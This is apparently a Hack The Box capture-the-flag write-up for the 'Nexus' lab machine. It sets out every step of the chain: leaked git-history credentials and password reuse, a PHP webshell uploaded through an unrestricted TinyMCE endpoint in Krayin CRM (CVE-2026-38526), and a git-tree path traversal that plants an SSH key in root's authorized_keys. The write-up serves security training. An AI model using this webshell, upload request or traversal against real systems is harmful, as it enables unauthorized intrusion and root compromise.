~ / writeups / nexus

Nexus

Hack The Box · Easy · Linux

Easy Linux User + Root owned

Machine Overview

Field Value
Name Nexus
Difficulty Easy
OS Linux (Ubuntu, nginx 1.24.0)
IP 10.129.146.171
Vhosts nexus.htb (main), git.nexus.htb (Gitea 1.26.0), billing.nexus.htb (Krayin CRM 2.2.0)
Kernel 6.8.0-111-generic
Ports 22 (SSH / OpenSSH 9.6p1), 80 (nginx)

Attack surface summary: A fictional "Nexus Energy Authority" corporate site, plus two internal vhosts — a self-hosted Gitea instance and a Krayin CRM billing portal (Laravel 12). Foothold runs through the CRM; privilege escalation runs through a root systemd timer that syncs Gitea template repositories via an unsanitized os.path.join.

Flags

Flag Value
User (/home/jones/user.txt) [REDACTED]
Root (/root/root.txt) [REDACTED]

Reconnaissance

nmap -p- --min-rate 5000 10.129.146.171
# 22/tcp open  ssh
# 80/tcp open  http

nmap -sCV -p 22,80 10.129.146.171
# 22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
# 80/tcp open  http    nginx 1.24.0 (Ubuntu)
# |_http-title: Did not follow redirect to http://nexus.htb/

The main site redirects to nexus.htb. Virtual-host fuzzing (Host header against the IP) surfaced two real subdomains that differ from the default 302:

Since the Windows attack host can't edit /etc/hosts without admin, all HTTP used curl --resolve, and git used -c http.extraHeader="Host: git.nexus.htb" against the raw IP.


Attack Chain

1. Information disclosure — leaked credentials in Gitea git history

git.nexus.htb exposes a public, unauthenticated repo admin/krayin-docker-setup. Cloning it and reading the commit history reveals an .env whose database password was later redacted:

git -c http.extraHeader="Host: git.nexus.htb" clone http://10.129.146.171/admin/krayin-docker-setup.git
git log -p -- .env
 DB_USERNAME=krayin
-DB_PASSWORD=N27xh!!2ucY04
+DB_PASSWORD=

The careers page on nexus.htb leaks the hiring manager's email j.matthew@nexus.htb (username format first.last@nexus.htb).

2. Krayin CRM admin login (credential reuse)

The leaked password N27xh!!2ucY04 was reused as the CRM admin's login password:

curl -c kc.txt --resolve billing.nexus.htb:80:10.129.146.171 -H "Host: billing.nexus.htb" \
  http://billing.nexus.htb/admin/login        # extract CSRF _token
curl -b kc.txt --resolve billing.nexus.htb:80:10.129.146.171 -H "Host: billing.nexus.htb" \
  -X POST --data-urlencode "_token=$TOKEN" \
  --data-urlencode "email=j.matthew@nexus.htb" \
  --data-urlencode "password=N27xh!!2ucY04" \
  http://billing.nexus.htb/admin/login
# 302 -> /admin/dashboard  (auth OK)

Dashboard confirms Krayin CRM 2.2.0.

3. Authenticated RCE — CVE-2026-38526 (TinyMCE unrestricted upload)

Krayin 2.2.x is vulnerable to CVE-2026-38526: /admin/tinymce/upload performs no extension/type validation. Upload a PHP webshell (spoofed image/jpeg), then hit the returned URL:

printf '<?php system($_GET["cmd"]); ?>' > shell.php
curl -b kc.txt --resolve billing.nexus.htb:80:10.129.146.171 -H "Host: billing.nexus.htb" \
  -H "X-XSRF-TOKEN: $XSRF" -F "file=@shell.php;type=image/jpeg;filename=shell.php" \
  http://billing.nexus.htb/admin/tinymce/upload
# {"location":"http://billing.nexus.htb/storage/tinymce/[REDACTED].php"}

curl -s "http://billing.nexus.htb/storage/tinymce/[REDACTED].php?cmd=id"
# uid=33(www-data) gid=33(www-data) ...

4. .env discovery — rotated DB password

curl -s "$WS?cmd=cat%20/var/www/krayin/.env"
# DB_USERNAME=krayin
# DB_PASSWORD=y27xb3ha!!74GbR      <-- rotated password, differs from git leak

5. Password reuse → user shell

The rotated DB password y27xb3ha!!74GbR is reused for the system account jones:

ssh jones@10.129.146.171   # password: y27xb3ha!!74GbR
cat /home/jones/user.txt
# [REDACTED]

6. Privilege escalation — Gitea template-sync path traversal

systemctl list-timers shows a root oneshot, gitea-template-sync.timer, firing every ~60 s, running /etc/gitea/template-sync.py as root:

# /etc/systemd/system/gitea-template-sync.service
[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py

template-sync.py queries Gitea for repos marked as templates, then for each blob does:

target = os.path.join(stage_path, filepath)   # filepath comes raw from git ls-tree

filepath is taken directly from the git tree with no sanitization — a textbook path traversal. As jones (who can log into Gitea with the same password), create a repo, mark it a template, and push a git tree whose blob path is ../../../../../../root/.ssh/authorized_keys:

ssh-keygen -t ed25519 -f nexus_root_key -N ""
BLOB=$(git hash-object -w nexus_root_key.pub)
T_SSH=$(printf '100644 blob %s\tauthorized_keys\n' "$BLOB" | git mktree)
T_DOTSSH=$(printf '040000 tree %s\t.ssh\n' "$T_SSH" | git mktree)
T_ROOT=$(printf '040000 tree %s\troot\n' "$T_DOTSSH" | git mktree)
T_UP1=$(printf '040000 tree %s\t..\n' "$T_ROOT" | git mktree)
T_UP2=$(printf '040000 tree %s\t..\n' "$T_UP1" | git mktree)
T_UP3=$(printf '040000 tree %s\t..\n' "$T_UP2" | git mktree)
T_UP4=$(printf '040000 tree %s\t..\n' "$T_UP3" | git mktree)
T_UP5=$(printf '040000 tree %s\t..\n' "$T_UP4" | git mktree)
T_TREE=$(printf '040000 tree %s\t..\n' "$T_UP5" | git mktree)
COMMIT=$(git commit-tree "$T_TREE" -m init)
git update-ref refs/heads/main "$COMMIT"
git -c http.extraHeader="Host: git.nexus.htb" push -f origin main

The next timer tick logs synced: ../../../../../../root/.ssh/authorized_keys, and the public key lands in /root/.ssh/authorized_keys. SSH in as root:

ssh -i nexus_root_key root@10.129.146.171
cat /root/root.txt
# [REDACTED]

Techniques Demonstrated

  1. Virtual-host fuzzing — Host-header enumeration to discover internal git / billing apps.
  2. Secrets in git history — a "redacted" .env still leaks the old DB password via git log -p.
  3. Credential reuse — leaked DB password = CRM admin login; rotated DB password = jones SSH.
  4. Unrestricted file upload (CVE-2026-38526) — TinyMCE endpoint accepts a .php webshell → www-data RCE.
  5. Path traversal in a root service — unsanitized os.path.join on git tree filenames writes an SSH key to /root/.ssh/authorized_keys.

Tools Used

nmap, curl (--resolve + cookie jar), git (with http.extraHeader Host routing), Python requests/paramiko (SSH key auth), ssh-keygen, git mktree/hash-object plumbing.

← all writeups